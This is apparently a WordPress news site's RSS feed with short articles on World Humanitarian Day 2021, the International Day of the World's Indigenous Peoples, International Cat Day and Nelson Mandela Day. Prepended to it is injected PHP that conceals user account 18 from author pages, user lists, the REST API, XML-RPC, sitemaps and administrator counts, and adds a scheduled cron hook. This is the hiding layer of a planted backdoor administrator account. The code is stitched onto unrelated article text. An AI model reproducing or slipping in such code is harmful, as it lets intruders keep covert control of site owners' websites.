add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post World Humanitarian Day, messages and wishes appeared first on The Edge Media.
]]>This year, the theme is “The Human Race”, and it focuses on taking up global action to combat climate change while standing in solidarity with vulnerable populations around the world. The United Nations has urged people, especially social media users, to mark this day by showing their solidarity for vulnerable populations.
So, let us celebrate this day by showing support and raising awareness among friends and family through messages, wishes and quotes.
Messages and wishes for World Humanitarian Day 2021:
On World Humanitarian Day 2021, let us follow Mahatma Gandhi’s words, “Be the change you want to see in the world”.
Wishing you a fruitful World Humanitarian Day 2021. Mark this day by doing some good for the world.
Happy World Humanitarian Day 2021. On this day, do whatever you can to support and help the people around you.
Little efforts can leave great impressions. On this World Humanitarian Day, help someone in whatever little way you can.
Mother Teresa said, “If you can’t feed a hundred people, feed just one.” On World Humanitarian Day 2021, let us help and support the world in whatever ways we can.
Change starts with the efforts of one person and is followed by others who are inspired. On this World Humanitarian Day, be the person to inspire change for the good of others.
The post World Humanitarian Day, messages and wishes appeared first on The Edge Media.
]]>The post All you need to know about International Day of Indigenous Peoples appeared first on The Edge Media.
]]>Like all International days and weeks, which are marked to educate the public on issues of concern, to mobilise political will and resources to address global problems, the International Day of the World’s Indigenous Peoples is also celebrated to recognise the contribution and achievements of indigenous communities and to highlight the plight they face in their existence.
Significance of International Day of the World’s Indigenous Peoples
The International Day of the World’s Indigenous Peoples was marked for the first time by UN General Assembly in December 1994, to commemorate the first meeting of the UN Working Group on Indigenous Populations of the Sub-Commission on the Promotion and Protection of Human Rights.
The UN celebrates this day every year to “demand indigenous peoples’ inclusion, participation and approval in the constitution of a system with social and economic benefits for all”. Indigenous communities have also been disproportionately affected by the Covid-19 pandemic, whose life expectancy was already 20 years lower than that of their non-Indigenous counterparts before the pandemic hit.
The UN has been working towards ushering in constitutional reforms at the international level to address the ill-treatment of indigenous communities and the adoption of the United Nations Declaration on the Rights of Indigenous Peoples (UNDRIP) by the General Assembly in September 2007, by a majority of 144 states in favour, was another step in the direction. Australia, Canada, New Zealand and the United States were the four nations who initially opposed the adoption but later reversed their decision to support the declaration.
In 2022, the UN will start another milestone with the Decade of Indigenous Languages (2022- 2032). It aims to conserve Indigenous languages, which helps preserve their cultures, world views and visions, as well as expressions of self-determination. The agency estimates that one indigenous language dies every two weeks.
Theme this year
UN has decided on the theme of ‘Leaving no one behind: Indigenous peoples and the call for a new social contract’ for this year’s International Day of the World’s Indigenous Peoples. Defining social contract as an “unwritten agreement that societies make to cooperate for social and economic benefits”, the UN seeks to encourage societies to treat indigenous communities as stakeholders since they were not included in the initial social contract, which was formulated by dominant communities.
It credits indigenous communities for fighting climate change and helping biodiversity flourish and asks nations to formulate a “new social contract” which “must be based on genuine participation and partnership that fosters equal opportunities and respects the rights, dignity and freedoms of all. Indigenous peoples’ right to participate in decision-making is a key component in achieving reconciliation between indigenous peoples and States”.
The post All you need to know about International Day of Indigenous Peoples appeared first on The Edge Media.
]]>The post All you need to know about International Cat Day appeared first on The Edge Media.
]]>International Cat Day is celebrated to help raise public awareness about cats, to learn about ways to keep and protect them. Many countries also celebrate national cat days to raise awareness about feline adoption.
Canada and the US also celebrate national cat day in their countries on August 8 and October 29, respectively. Japan marks national cat day on February 22 and Russia on March 1.
In 2020, the custodianship of International Cat Day passed on from IFAW to British non-profit International Cat Care, a charity founded in 1958 by feline lovers working to spread information about cat health and welfare.
The organisation states their “Aim is to enable and inspire people to understand cats’ individual needs and perspective, and to act in the interests of each cat’s welfare. We do this by creating and sharing knowledge, insights, skills and current best practice so people can feel confident in their ability to help cats and to challenge ignorance and misconceptions.”
International Cat Care has decided on the campaign ‘Be cat curious’ to celebrate this year’s International Cat Day. The campaign encourages cat owners to spend quality time with their pets and learn more about them.
The organisation says 95% of cat owners want more advice on training their cats, with at least half saying they struggled to get their cat into the cat carrier. Hence, this year’s International Cat Day will be celebrated to encourage training for cats and their owners. Cat owners have also been invited to share their experiences of training their pets.
The post All you need to know about International Cat Day appeared first on The Edge Media.
]]>The post Do you know about Nelson Mandela International Day, check out the history, significance, theme below appeared first on The Edge Media.
]]>
History of Nelson Mandela International Day
The United Nations officially declared July 18th as Nelson Mandela International day in 2009. It was first celebrated in 2010. The origin of the day came from Mr Mandela himself — he is believed to have announced that his birthday be celebrated as Mandela Day. The Nelson Mandela Foundation, on April 27, 2009, hosted a series of concerts to honour the legacy of Mr Mandela and celebrate his values through community service.
Significance of this day :
The day is meant to remember the services of Mr Mandela and honour them through volunteer work, awareness and community service. Mr Mandela believed in equality and the need for people to come together and help each other rise above social class and colour. This day is viewed as an opportunity to renew the values left behind by Mr Mandela. On this day several concerts, art exhibits and fundraising volunteer events take place.
In 2014 the United Nations General Assembly introduced the Nelson Mandela prize to recognise the achievements of those who dedicated their lives to the service of humanity, much like he had in his lifetime.

Themes of Nelson Mandela International Day 2021 :
Since its inception in 2010, Nelson Mandela International Day has been celebrated with a theme for that particular year. The theme for this year is “One Hand Can Feed Another”. The day is celebrated by organisations that work for violence against women, genocide and crimes. These organisations also come together to spread awareness on these prevalent issues. Last year’s theme was, “Take Action, Inspire Change”. The theme highlighted the importance of governments and citizens working together to build a peaceful, sustainable and equitable world for all.
The post Do you know about Nelson Mandela International Day, check out the history, significance, theme below appeared first on The Edge Media.
]]>